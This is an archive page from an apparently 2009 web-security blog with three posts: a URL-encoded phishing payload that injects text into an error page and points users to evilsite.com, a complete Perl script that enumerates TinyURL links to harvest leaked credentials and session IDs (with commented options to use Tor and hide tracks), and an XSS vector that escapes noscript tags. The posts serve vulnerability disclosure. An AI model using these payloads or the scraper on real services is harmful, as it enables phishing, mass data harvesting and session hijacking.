Archive for the ‘WebAppSec’ Category

« Older Entries
Newer Entries »

Phishing with Non Scriptable User Input

Monday, March 2nd, 2009

This week I did pentest of a commercial application. I was frustated to find that most of the user supplied content was sanitized using html entities, before being sent to the browser. So, it was not possible to inject my scripted content to cause XSS.

Just when I was about to give up, I found the possibility of a phishing attack in one of the pages, specifically the error page in the application. The problem was user supplied content from the url paramater list was put directly into the error page, filtered only for XSS characters and the whitespace character. In a normal scenario, user is redirected to the error page, resulting in:


http://securethoughts.com/security/phishinguserinput/error.cgi?url=/my_app_url&user=jack

Using URL encoding and the ‘%09′ ASCII character (horizontal tab), I can phish a user to go evilsite.com. Evilsite.com will have the same inferface looks as the legitimate site and some users might unknowingly fall prey into typing their login credentials.


http://securethoughts.com/security/phishinguserinput/error.cgi?url=/my_app_url&user=%2e%54%68%69%73%09%73%69%74%65%09%69%73%09%63%75%72%72%65%6e%74%6c%79%09%64%6f%77%6e%09%66%6f%72%09%6d%61%69%6e%74%65%6e%61%6e%63%65%2e%09%50%6c%65%61%73%65%09%75%73%65%09%65%76%69%6c%73%69%74%65%2e%63%6f%6d

This class of phishing attack can apply to any page. It does not confine to error pages and is not blocked by filtering and encoding mechanisms. The only requirement is user’s language characters (including whitespace character like %09, %20, etc) should be injectable in the page output and the rendered page should sound convincing to phish a user into going to evil site. If the user is not convinced and types the domain name directly into the address bar, this attack will fail :( .

A solution to this issue is to use url encoding or html entities for all the special characters [not just XSS chars < > " '] before writing back user’s input data back to the browser. For links, using url encoding instead of html entities also protects from HTTP Parameter Pollution.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Phishing, Solutions, WebAppSec | 2 Comments »

Unauthorized TinyURL URL Enumeration Vulnerability

Friday, February 20th, 2009

I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.

There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.

I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.

Some of the things I found include

  1. Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
  2. Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
  3. Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
  4. Spam URLs : This has been discussed many times in different places. Examples here and here.
  5. Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.

Download POF Code here. Use this code at your own risk.

#TinyURL URL Enumeration Script
#By Inferno {at} Securethoughts.com

use IO::Handle;
use LWP::UserAgent;
use Time::HiRes qw( sleep );

my $ua = LWP::UserAgent->new;
$ua->max_redirect(1);

#If you want to use Tor to protect your identity.
#$ua->proxy(['http'], 'http://127.0.0.1:8118/');

my $nd="";      # Length of ID
my $num="";     # Value of ID
my $url="";     # TinyURL Redirection Script Call
my $content=""; # HTTP Response from Redirection
my $temp="";    # Temporary Variable

open FILE, ">>:utf8", "tinyurl.out" or die("Cannot open file for output");
while(1)
{
	# Pick up a random ID length and value
	$nd=int(rand(8))+1;
	$num="";
	for($i=1;$i<=$nd;$i++)
	{
		$s=int(rand(36));
		$num.=($s>9)?chr($s+55):$s;
	}

	$temp="Processing ".$num."\n";
	syswrite(STDOUT, $temp, length($temp));

	# Construct the TinyURL Redirection URL
	$url = 'http://www.tinyurl.com/redirect.php?num='.$num;

	my $request = new HTTP::Request("GET", $url);
	my $response = $ua->request($request);
	$content=$response->as_string;

	# Check if a Location Header is present & write the URL.
	if($content =~ m/(Location\: )(.*)/i)
	{
		$temp=$num." ".$2."\n";
		syswrite(FILE, $temp, length($temp));
	}

	#Use this if you want to hide you tracks with a random delay
	#sleep((int(rand(500))/100.0));
}
close (FILE);
exit 0;
Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Auth(entication/orization), Exploits, Information Gathering, WebAppSec | 1 Comment »

Hacking for XSS inside noscript html tags

Saturday, February 14th, 2009

I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.

For understanding this attack, first lets compose a simple html file with the following contents:

<noscript>
<script>alert('XSS')</script>
</noscript>

Then lets run this file in your browser (Example – noscript.html). You would notice that it won’t execute the javascript to show an alert box. The reason being:

  1. If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards here.
  2. If you don’t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won’t execute as well.

So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using </noscript> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:

"></noscript><script>alert('XSS')</script><!--

I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.

The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site’s name from the various images below.

1. Javascript content inside title tag is escaped.

2. Javascript content inside input tag is escaped.

3. Javascript content inside noscript tag is NOT escaped.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in WebAppSec, XSS | 1 Comment »

« Older Entries
Newer Entries »